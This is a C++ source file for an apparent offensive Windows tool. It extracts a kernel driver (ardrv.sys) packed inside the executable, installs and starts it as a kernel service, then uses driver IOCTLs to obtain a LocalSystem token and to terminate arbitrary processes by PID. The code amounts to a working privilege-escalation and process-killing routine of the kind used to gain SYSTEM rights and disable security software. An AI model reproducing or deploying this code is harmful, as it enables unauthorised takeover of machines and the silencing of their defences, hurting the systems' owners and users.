#include "Common.h"
#include "DriverClient.h"
#include "TokenUtils.h"
#include "Logger.h"
#include "resource.h"

static HANDLE g_hDriver = INVALID_HANDLE_VALUE;

#define DRIVER_NAME L"\\\\.\\ArDrv"
#define SERVICE_NAME L"ArDrv"
#define DRIVER_PATH  L"C:\\Windows\\System32\\drivers\\ardrv.sys"

#define IOCTL_TERM   0x2420031
#define IOCTL_ESC    0x2420035

// Writes the driver image that was packed into this executable via RCDATA.
// Returns false when no image is embedded or when writing fails.
DWORD EmbeddedDriverSize()
{
    HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_ARDRV_SYS), RT_RCDATA);
    return res ? SizeofResource(nullptr, res) : 0;
}

bool WriteEmbeddedDriverTo(const wchar_t* destPath)
{
    HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_ARDRV_SYS), RT_RCDATA);

    if (!res)
    {
        Log(L"[-] No embedded driver image in this build");
        return false;
    }

    DWORD size = SizeofResource(nullptr, res);

    if (size == 0)
    {
        Log(L"[-] Embedded driver resource is empty");
        return false;
    }

    HGLOBAL loaded = LoadResource(nullptr, res);

    if (!loaded)
    {
        Log(L"[-] LoadResource failed: %lu", GetLastError());
        return false;
    }

    const void* data = LockResource(loaded);

    if (!data)
    {
        Log(L"[-] LockResource failed: %lu", GetLastError());
        return false;
    }

    DWORD attr = GetFileAttributesW(destPath);

    if (attr != INVALID_FILE_ATTRIBUTES)
    {
        if (attr & FILE_ATTRIBUTE_READONLY)
            SetFileAttributesW(destPath, attr & ~FILE_ATTRIBUTE_READONLY);

        DeleteFileW(destPath);
    }

    HANDLE file = CreateFileW(
        destPath,
        GENERIC_WRITE,
        0,
        nullptr,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        nullptr);

    if (file == INVALID_HANDLE_VALUE)
    {
        Log(L"[-] Cannot create %s: %lu", destPath, GetLastError());
        return false;
    }

    DWORD written = 0;
    BOOL ok = WriteFile(file, data, size, &written, nullptr);
    DWORD err = GetLastError();

    CloseHandle(file);

    if (!ok || written != size)
    {
        Log(L"[-] WriteFile %s failed: %lu", destPath, err);
        DeleteFileW(destPath);
        return false;
    }

    Log(L"[+] Embedded driver extracted: %s (%lu bytes)", destPath, size);
    return true;
}

bool OpenDriver()
{
    if (g_hDriver != INVALID_HANDLE_VALUE)
        return true;

    g_hDriver = CreateFileW(
        DRIVER_NAME,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr,
        OPEN_EXISTING,
        0,
        nullptr);

    if (g_hDriver == INVALID_HANDLE_VALUE)
    {
        Log(L"[-] OpenDriver failed: %lu", GetLastError());
        return false;
    }

    Log(L"[+] Driver opened");
    return true;
}

void CloseDriver()
{
    if (g_hDriver != INVALID_HANDLE_VALUE)
    {
        CloseHandle(g_hDriver);
        g_hDriver = INVALID_HANDLE_VALUE;
    }
}

bool ExtractDriverImageIfEmbedded(const wchar_t* destPath)
{
    if (!destPath || !*destPath)
        return false;

    DWORD attr = GetFileAttributesW(destPath);

    if (attr != INVALID_FILE_ATTRIBUTES)
        return true;

    return WriteEmbeddedDriverTo(destPath);
}

bool EnsureDriverLoaded()
{
    if (OpenDriver())
        return true;

    // Packed driver: drop it on disk before the SCM tries to load it.
    if (GetFileAttributesW(DRIVER_PATH) == INVALID_FILE_ATTRIBUTES)
        ExtractDriverImageIfEmbedded(DRIVER_PATH);

    SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
    if (!scm)
    {
        Log(L"[-] OpenSCManager failed: %lu", GetLastError());
        return false;
    }

    SC_HANDLE svc = OpenServiceW(scm, SERVICE_NAME, SERVICE_QUERY_STATUS | SERVICE_START);

    if (!svc)
    {
        DWORD e = GetLastError();

        if (e == ERROR_SERVICE_EXISTS)
        {
            svc = OpenServiceW(scm, SERVICE_NAME, SERVICE_QUERY_STATUS | SERVICE_START);
        }
        else
        {
            svc = CreateServiceW(
                scm,
                SERVICE_NAME,
                SERVICE_NAME,
                SERVICE_QUERY_STATUS | SERVICE_START,
                SERVICE_KERNEL_DRIVER,
                SERVICE_DEMAND_START,
                SERVICE_ERROR_NORMAL,
                DRIVER_PATH,
                nullptr,
                nullptr,
                nullptr,
                nullptr,
                nullptr);

            if (svc)
                Log(L"[+] Driver service created");
            else
                Log(L"[-] CreateService failed: %lu", GetLastError());
        }
    }

    if (svc)
    {
        SERVICE_STATUS st{};
        bool running = QueryServiceStatus(svc, &st) && (st.dwCurrentState == SERVICE_RUNNING);

        if (!running)
        {
            BOOL started = StartServiceW(svc, 0, nullptr);
            DWORD e = GetLastError();

            if (!started && e != ERROR_SERVICE_ALREADY_RUNNING)
                Log(L"[!] StartService failed: %lu", e);
            else
                Log(L"[+] Driver service started");
        }
        else
        {
            Log(L"[+] Driver service already running");
        }

        CloseServiceHandle(svc);
    }

    CloseServiceHandle(scm);

    for (int i = 0; i < 50; ++i)
    {
        if (OpenDriver())
            return true;

        Sleep(20);
    }

    Log(L"[-] Driver device not found after service start");
    return false;
}

static HANDLE DuplicateDriverReturnedTokenHandle(ULONG_PTR handleValue)
{
    if (handleValue == 0)
        return nullptr;

    HANDLE src = reinterpret_cast<HANDLE>(handleValue);
    HANDLE dup = nullptr;

    if (!DuplicateHandle(
        GetCurrentProcess(),
        src,
        GetCurrentProcess(),
        &dup,
        TOKEN_QUERY |
        TOKEN_ASSIGN_PRIMARY |
        TOKEN_DUPLICATE |
        TOKEN_ADJUST_DEFAULT |
        TOKEN_ADJUST_SESSIONID,
        FALSE,
        DUPLICATE_SAME_ACCESS))
    {
        Log(L"[-] Driver returned handle %p, but DuplicateHandle failed: %lu", src, GetLastError());
        return nullptr;
    }

    if (!TokenIsLocalSystem(dup))
    {
        Log(L"[-] Driver returned token is not LocalSystem");
        CloseHandle(dup);
        return nullptr;
    }

    Log(L"[+] Driver returned usable SYSTEM token handle");
    return dup;
}

bool EscalateViaDriver(HANDLE* outSystemToken)
{
    if (!OpenDriver())
        return false;

    struct EscRequest
    {
        BYTE op;
        BYTE reserved[15];
    };

    static_assert(sizeof(EscRequest) == 16, "EscRequest must match driver input buffer size");

    EscRequest req{};
    req.op = 0x01;

    ULONG_PTR outHandle = 0;
    DWORD bytes = 0;

    BOOL ok = DeviceIoControl(
        g_hDriver,
        IOCTL_ESC,
        &req,
        sizeof(req),
        &outHandle,
        sizeof(outHandle),
        &bytes,
        nullptr);

    DWORD err = ok ? ERROR_SUCCESS : GetLastError();

    if (!ok && (err == ERROR_INVALID_PARAMETER || err == ERROR_MORE_DATA))
    {
        outHandle = 0;
        bytes = 0;

        ok = DeviceIoControl(
            g_hDriver,
            IOCTL_ESC,
            &req,
            sizeof(req),
            nullptr,
            0,
            nullptr,
            nullptr);

        err = ok ? ERROR_SUCCESS : GetLastError();
    }

    if (!ok)
    {
        Log(L"[-] IOCTL_ESC failed: %lu", err);
        return false;
    }

    if (bytes >= sizeof(ULONG_PTR))
    {
        HANDLE token = DuplicateDriverReturnedTokenHandle(outHandle);

        if (token)
        {
            if (outSystemToken)
                *outSystemToken = token;
            else
                CloseHandle(token);

            return true;
        }
    }

    bool systemNow = IsCurrentProcessSystem();

    if (!systemNow)
        Log(L"[-] IOCTL_ESC returned success, but current process is not SYSTEM and no usable token handle was returned");

    return systemNow;
}

bool TerminateProcessViaDriver(DWORD pid)
{
    if (!pid)
        return false;

    if (!OpenDriver())
        return false;

    DWORD bytes = 0;

    BOOL ok = DeviceIoControl(
        g_hDriver,
        IOCTL_TERM,
        &pid,
        sizeof(pid),
        nullptr,
        0,
        &bytes,
        nullptr);

    if (!ok)
    {
        Log(L"[-] TerminateProcessViaDriver(%lu) failed: %lu", pid, GetLastError());
        return false;
    }

    Log(L"[+] Terminate IOCTL accepted for PID %lu", pid);
    return true;
}